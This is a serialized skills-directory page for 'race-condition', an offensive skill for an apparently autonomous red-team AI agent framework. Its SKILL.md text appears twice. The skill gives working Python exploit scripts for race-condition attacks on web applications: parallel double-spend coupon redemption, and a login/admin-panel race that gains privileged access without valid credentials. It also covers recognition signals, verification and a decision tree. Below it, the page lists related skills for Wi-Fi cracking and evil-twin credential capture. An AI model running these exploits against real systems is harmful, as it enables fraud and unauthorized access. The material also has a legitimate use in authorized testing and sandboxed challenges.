[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HPCSTHP25Z8X152V92YN7":3,"skill-same:01M78HPCSTHP25Z8X152V92YN7":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":13,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":32,"install":33,"resources":46},"01M78HPCSTHP25Z8X152V92YN7","race-condition",null,"Race condition \u002F TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Frace-condition\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: race-condition\ndescription: \"Race condition \u002F TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"TOCTOU, race condition, concurrent request, session_write_before_check, last-write-wins, double-spend, parallel POST, coupon double-redeem, balance race, transfer race, check-then-act, time-of-check time-of-use, parallel GET POST, multi-endpoint race, session leak, atomic check, bcrypt slow auth\"\n---\n\n# Race Conditions (TOCTOU)\n\nExploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt\u002FArgon2, DB round-trips, network calls) make the race trivially winnable.\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Slow auth path**: bcrypt\u002FArgon2\u002FPBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.\n- **`session[k] = form[k]` BEFORE validation**: e.g. login writes `session[\"user\"] = posted_username` before checking the password — the session row carries attacker-chosen state during the bcrypt sleep.\n- **Check-then-act money flows**: balance\u002Fquota\u002Fcoupon\u002Ftransfer endpoints that do `if x.balance >= n: x.balance -= n` without a single atomic UPDATE-with-WHERE-balance>=n.\n- **Idempotency-key-less POSTs** to mutating endpoints — same payload N times in parallel produces N writes.\n- **Challenge tag** includes `race_condition`, `toctou`, `concurrent`, `last-write-wins`, or `double-spend`. (Note: `smuggling_desync` is a parser-disagreement attack, NOT a race — route to `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md`.)\n- **Session-coupled endpoints**: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.\n\n## Single-Endpoint Race — Double Submit\n\nClassic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.\n\n```python\n# python3 -c \"$(cat \u003C\u003C 'PY' ... PY)\" — keep timeout ≤ 5s, count ≤ 30\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests, sys\n\nURL = \"https:\u002F\u002F\u003CTARGET>\u002Fredeem\"\nCOOKIES = {\"session\": \"\u003CSESSION>\"}\nPAYLOAD = {\"coupon\": \"ONETIME50\"}\nN = 20\n\ndef fire(_):\n    return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:\n    codes = list(ex.map(fire, range(N)))\n\nprint(\"status counts:\", {c: codes.count(c) for c in set(codes)})\nprint(\"non-error wins:\", sum(1 for c in codes if 200 \u003C= c \u003C 300))\nPY\n```\n\nWin condition: more than one `200`\u002F`201` for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance\u002Fredemption history AFTER the burst — multiple debits\u002Fcredits = race won.\n\n### Verification (≥3 reproductions)\n\nA single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.\n\n```python\n# Repeat the burst across 3 fresh trials\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests\n# ... fire 20 parallel POSTs, count successes ...\n# Run 3 times against reset state, log each trial's win count.\nPY\n```\n\n## Multi-Endpoint State-Leak Race\n\nThe high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.\n\nPattern:\n- `POST \u002Flogin` with `username=admin&password=wrong` — server writes `session[\"user\"]=\"admin\"` BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).\n- `GET \u002Fadmin_panel` — checks only `session[\"user\"] == \"admin\"`.\n- During the bcrypt window, `\u002Fadmin_panel` returns admin content. After bcrypt, `\u002Flogin` clears the session and returns 401.\n\n```python\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests, time\n\nS = requests.Session()\nLOGIN  = \"https:\u002F\u002F\u003CTARGET>\u002Flogin\"\nTARGET = \"https:\u002F\u002F\u003CTARGET>\u002Fadmin_panel\"\nCREDS  = {\"username\": \"admin\", \"password\": \"wrong\"}\n\ndef hit_login():\n    return S.post(LOGIN, data=CREDS, timeout=5).status_code\n\ndef hit_target():\n    # Stagger by ~50ms so the read lands inside the bcrypt window\n    time.sleep(0.05)\n    r = S.get(TARGET, timeout=5)\n    return r.status_code, len(r.content), r.text[:200]\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:\n    f1 = ex.submit(hit_login)\n    f2 = ex.submit(hit_target)\n    print(\"login:\", f1.result())\n    print(\"target:\", f2.result())\nPY\n```\n\nTune the stagger (`time.sleep`) to fit the slow-op latency you measured during recon. Always rely on recon's \"Session-write timeline\" table for endpoint-to-session-key mapping.\n\n### Verification (≥3 reproductions)\n\nSame rule as single-endpoint: re-run the parallel pair ≥3 times. A leak is only confirmed if the privileged read consistently succeeds during the write's slow window. Log each trial's body length \u002F status code.\n\n## Anti-Patterns (Do NOT)\n\nThese are sandbox-hostile and make a clean reproduction impossible:\n\n- **No bash heredocs of `python3 - \u003C\u003C'PY'`** chained through bash subshells with `&` — use a single `python3 -c`\u002F`python3 - \u003C\u003C'PY'` block as shown.\n- **No `&` backgrounding** to fake parallelism — use `concurrent.futures.ThreadPoolExecutor`.\n- **No unbounded `nc -l`, `tail -f`, `sleep` loops** — every HTTP probe MUST set a tool-level timeout so a slow target cannot wedge the shell. Every loop MUST be bounded.\n- **No empty-command-with-timeout** like `timeout 5 bash -c \"\"` — that's a recon scope-creep tell.\n- **No fork-bombs** — keep `max_workers ≤ 30`. Higher counts trigger sandbox throttling, hide the race, and pollute logs.\n\n## Output Files\n\n```\n.\u002F\n├── race_\u003Ctarget>_\u003Cendpoint>_burst.json   # Per-trial status code histograms\n├── race_\u003Ctarget>_\u003Cendpoint>_evidence.txt # Multi-write proof (balance, redemption rows, etc.)\n└── race_\u003Ctarget>_summary.md              # Endpoint, payload, ≥3 reproductions, win condition\n```\n\n## Decision Tree\n\n```\nSlow-op auth path? (bcrypt\u002FArgon2)\n└── YES → multi-endpoint state-leak race (login + privileged GET)\n\nMoney\u002Fquota\u002Fcoupon endpoint, no idempotency key?\n└── YES → single-endpoint double-submit race\n\nSession write before validation (session[k]=form[k] then check)?\n└── YES → multi-endpoint race against any reader of session[k]\n\nNone of the above + tag says race?\n└── Re-read recon's session-write timeline. If absent, flag back to recon.\n```\n","# Race Conditions (TOCTOU)\n\nExploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt\u002FArgon2, DB round-trips, network calls) make the race trivially winnable.\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Slow auth path**: bcrypt\u002FArgon2\u002FPBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.\n- **`session[k] = form[k]` BEFORE validation**: e.g. login writes `session[\"user\"] = posted_username` before checking the password — the session row carries attacker-chosen state during the bcrypt sleep.\n- **Check-then-act money flows**: balance\u002Fquota\u002Fcoupon\u002Ftransfer endpoints that do `if x.balance >= n: x.balance -= n` without a single atomic UPDATE-with-WHERE-balance>=n.\n- **Idempotency-key-less POSTs** to mutating endpoints — same payload N times in parallel produces N writes.\n- **Challenge tag** includes `race_condition`, `toctou`, `concurrent`, `last-write-wins`, or `double-spend`. (Note: `smuggling_desync` is a parser-disagreement attack, NOT a race — route to `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md`.)\n- **Session-coupled endpoints**: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.\n\n## Single-Endpoint Race — Double Submit\n\nClassic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.\n\n```python\n# python3 -c \"$(cat \u003C\u003C 'PY' ... PY)\" — keep timeout ≤ 5s, count ≤ 30\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests, sys\n\nURL = \"https:\u002F\u002F\u003CTARGET>\u002Fredeem\"\nCOOKIES = {\"session\": \"\u003CSESSION>\"}\nPAYLOAD = {\"coupon\": \"ONETIME50\"}\nN = 20\n\ndef fire(_):\n    return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:\n    codes = list(ex.map(fire, range(N)))\n\nprint(\"status counts:\", {c: codes.count(c) for c in set(codes)})\nprint(\"non-error wins:\", sum(1 for c in codes if 200 \u003C= c \u003C 300))\nPY\n```\n\nWin condition: more than one `200`\u002F`201` for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance\u002Fredemption history AFTER the burst — multiple debits\u002Fcredits = race won.\n\n### Verification (≥3 reproductions)\n\nA single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.\n\n```python\n# Repeat the burst across 3 fresh trials\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests\n# ... fire 20 parallel POSTs, count successes ...\n# Run 3 times against reset state, log each trial's win count.\nPY\n```\n\n## Multi-Endpoint State-Leak Race\n\nThe high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.\n\nPattern:\n- `POST \u002Flogin` with `username=admin&password=wrong` — server writes `session[\"user\"]=\"admin\"` BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).\n- `GET \u002Fadmin_panel` — checks only `session[\"user\"] == \"admin\"`.\n- During the bcrypt window, `\u002Fadmin_panel` returns admin content. After bcrypt, `\u002Flogin` clears the session and returns 401.\n\n```python\npython3 - \u003C\u003C'PY'\nimport concurrent.futures, requests, time\n\nS = requests.Session()\nLOGIN  = \"https:\u002F\u002F\u003CTARGET>\u002Flogin\"\nTARGET = \"https:\u002F\u002F\u003CTARGET>\u002Fadmin_panel\"\nCREDS  = {\"username\": \"admin\", \"password\": \"wrong\"}\n\ndef hit_login():\n    return S.post(LOGIN, data=CREDS, timeout=5).status_code\n\ndef hit_target():\n    # Stagger by ~50ms so the read lands inside the bcrypt window\n    time.sleep(0.05)\n    r = S.get(TARGET, timeout=5)\n    return r.status_code, len(r.content), r.text[:200]\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:\n    f1 = ex.submit(hit_login)\n    f2 = ex.submit(hit_target)\n    print(\"login:\", f1.result())\n    print(\"target:\", f2.result())\nPY\n```\n\nTune the stagger (`time.sleep`) to fit the slow-op latency you measured during recon. Always rely on recon's \"Session-write timeline\" table for endpoint-to-session-key mapping.\n\n### Verification (≥3 reproductions)\n\nSame rule as single-endpoint: re-run the parallel pair ≥3 times. A leak is only confirmed if the privileged read consistently succeeds during the write's slow window. Log each trial's body length \u002F status code.\n\n## Anti-Patterns (Do NOT)\n\nThese are sandbox-hostile and make a clean reproduction impossible:\n\n- **No bash heredocs of `python3 - \u003C\u003C'PY'`** chained through bash subshells with `&` — use a single `python3 -c`\u002F`python3 - \u003C\u003C'PY'` block as shown.\n- **No `&` backgrounding** to fake parallelism — use `concurrent.futures.ThreadPoolExecutor`.\n- **No unbounded `nc -l`, `tail -f`, `sleep` loops** — every HTTP probe MUST set a tool-level timeout so a slow target cannot wedge the shell. Every loop MUST be bounded.\n- **No empty-command-with-timeout** like `timeout 5 bash -c \"\"` — that's a recon scope-creep tell.\n- **No fork-bombs** — keep `max_workers ≤ 30`. Higher counts trigger sandbox throttling, hide the race, and pollute logs.\n\n## Output Files\n\n```\n.\u002F\n├── race_\u003Ctarget>_\u003Cendpoint>_burst.json   # Per-trial status code histograms\n├── race_\u003Ctarget>_\u003Cendpoint>_evidence.txt # Multi-write proof (balance, redemption rows, etc.)\n└── race_\u003Ctarget>_summary.md              # Endpoint, payload, ≥3 reproductions, win condition\n```\n\n## Decision Tree\n\n```\nSlow-op auth path? (bcrypt\u002FArgon2)\n└── YES → multi-endpoint state-leak race (login + privileged GET)\n\nMoney\u002Fquota\u002Fcoupon endpoint, no idempotency key?\n└── YES → single-endpoint double-submit race\n\nSession write before validation (session[k]=form[k] then check)?\n└── YES → multi-endpoint race against any reader of session[k]\n\nNone of the above + tag says race?\n└── Re-read recon's session-write timeline. If absent, flag back to recon.\n```\n",{"name":5,"metadata":23,"description":7},{"subdomain":24,"when_to_use":25,"mitre_attack":26},"web-exploitation","TOCTOU, race condition, concurrent request, session_write_before_check, last-write-wins, double-spend, parallel POST, coupon double-redeem, balance race, transfer race, check-then-act, time-of-check time-of-use, parallel GET POST, multi-endpoint race, session leak, atomic check, bcrypt slow auth","T1190","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Frace-condition","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill race-condition",{"tool":39,"command":40},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill race-condition",{"tool":42,"command":43},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill race-condition","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Frace-condition\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]